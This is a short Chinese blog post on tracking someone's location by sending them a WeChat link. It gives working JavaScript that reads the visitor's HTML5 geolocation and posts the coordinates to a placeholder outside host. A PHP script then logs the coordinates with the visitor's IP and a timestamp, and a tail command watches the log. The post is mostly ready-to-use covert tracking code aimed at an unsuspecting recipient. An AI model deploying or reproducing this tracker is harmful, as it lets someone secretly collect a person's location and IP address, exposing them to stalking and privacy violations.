March 03
微信定位
用微信发条连接信息,对方点开即发送定位信息。精度比较:PC <= 打开 Wi-Fi 设备 < 打开移动数据的设备
首先能利用的是 HTML5 的地理位置接口,和一个后端进行保存日志。
不过 HTML5 的地理位置接口 需要用户手动确定权限 ,这肯定是有风险一半一半,没办法。
前端部分代码
function getLocation()
{
if (navigator.geolocation)
{
navigator.geolocation.getCurrentPosition(showPosition);
}else{
console.log('0');
}
}
function showPosition(position)
{
$.post('https://xxx.com/xxx.php?status=success', {
'x': position.coords.longitude,
'y': position.coords.latitude
}, function() {}, 'JSON');
}
getLocation();
后端部分代码
<?php
if (!empty($_GET['status']) && $_GET['status'] == 'success') {
$x = $_POST['x'];
$y = $_POST['y'];
file_put_contents(__DIR__ . '/location.log', 'Sussess:' . $x . ',' . $y . '' . $_SERVER['REMOTE_ADDR'] . ' ' . date('Y-M-D H:i:s') . "\n", FILE_APPEND);
}
监听日志
$ tail -f location.log
作者:https://blog.isecret.vip/i-find-you.html#more
:D 少女祈祷中...